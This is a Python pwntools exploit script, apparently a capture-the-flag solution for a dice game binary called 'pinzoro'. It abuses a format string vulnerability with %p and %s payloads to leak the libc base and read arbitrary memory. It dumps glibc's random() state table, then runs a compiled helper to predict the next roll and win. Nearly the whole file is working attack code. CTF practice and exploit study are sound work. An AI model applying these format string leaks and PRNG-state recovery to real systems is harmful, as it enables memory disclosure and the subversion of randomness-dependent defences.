exploit.py

from pwn import *
from time import sleep
import sys
import subprocess

process_name = "./pinzoro"
host = "127.0.0.1"
port = 9000

libc = ELF("./libc.so.6")


def get_stream(process_type):
	if process_type == "local":
		return process(process_name)
	elif process_type == "remote":
		return remote(host=host, port=port)
	elif process_type == "ssh":
		remote_user = ""
		remote_password = ""
		server = ssh(host=host, user=remote_user, password=remote_password)
		return server.process(remote_process_name)
	raise Exception("Invalid process type.")


def init():
	if "libc" in globals():
		libc.address = 0
	context.os = 'linux'
	context.arch = 'amd64'
	# context.arch = 'i386'
	context.terminal = ["wterminal"]

def n_dice(io, payload):
	io.sendlineafter("SELECT: ", "1")
	io.sendlineafter("NUMBER: ", payload)
	io.recvuntil("FINISH ROLLING ")
	return io.readline()[:-len(" DICES.\n")]

def challenge(io):
	io.sendlineafter("SELECT: ", "2")

def leak(io, addr):
	fsb_base = 5
	payload = b""
	payload += b"%p" * (fsb_base + 1)
	payload += b"%s"
	payload += b"A" * (8 - (len(payload) % 8))
	payload += p64(addr)

	result = n_dice(io, payload)
	# print(p64(addr))
	leak = result.split(b"0x")[-1].split(b"A")[0][16:].ljust(8, b"\x00")
	# if leak == b"\x00" * 8:
	# 	print(addr, payload, result)
	return leak

def solve(io):
	randtbl = [0]*31
	fsb_base = 5

	result = n_dice(io, "%p"*(fsb_base+0x17))
	print(result)
	libc_leak = int(result.split(b"0x")[-1], 16)

	log.info(f"libc leak: {libc_leak:x}")

	libc.address = libc_leak - (libc.sym["__libc_start_main"] + 243)

	log.info(f"libc base: {libc.address:x}")

	print(leak(io, libc.address + 0x1be740))
	fptr_addr = u64(leak(io, libc.address + 0x1eb740))
	log.info(f"fptr_addr: {fptr_addr:x}")
	rptr_addr = u64(leak(io, libc.address + 0x1eb748))
	log.info(f"rptr_addr: {rptr_addr:x}")
	state_addr = u64(leak(io, libc.address + 0x1eb750))
	log.info(f"state_addr: {state_addr:x}")
	end_ptr_addr = u64(leak(io, libc.address + 0x1eb768))
	log.info(f"end_ptr_addr: {end_ptr_addr:x}")

	tbl_bytes = b""
	current = state_addr
	while len(tbl_bytes) < 8*31:
		tbl_leak = leak(io, current)
		tbl_bytes += tbl_leak + b"\x00"
		current += len(tbl_leak) + 1

	for i in range(31):
		randtbl[i] = u32(tbl_bytes[i*4:i*4+4])
		print(hex(randtbl[i]))

	log.info(f"randtbl: {randtbl}")

	# Pythonだと固定長整数の演算が面倒くさいのでCに任せる
	subprocess.run("gcc search.c -o search", shell=True)
	proc = subprocess.Popen("./search " + " ".join([str(ri) for ri in randtbl]), shell=True, stdout=subprocess.PIPE)
	num = int(proc.stdout.readline())
	print(num)
	n_dice(io, str(num))
	challenge(io)




def main():
	init()
	if len(sys.argv) <= 1:
		raise Exception("solve.py (local|remote|ssh)")

	io = get_stream(sys.argv[1])

	if len(sys.argv) > 2 and sys.argv[2] == "debug":
		gdb_command = [
			"b *roll_dices+112",
			"c"
		]
		gdb.attach(io, "\n".join(gdb_command))

	solve(io)
	io.interactive()

main()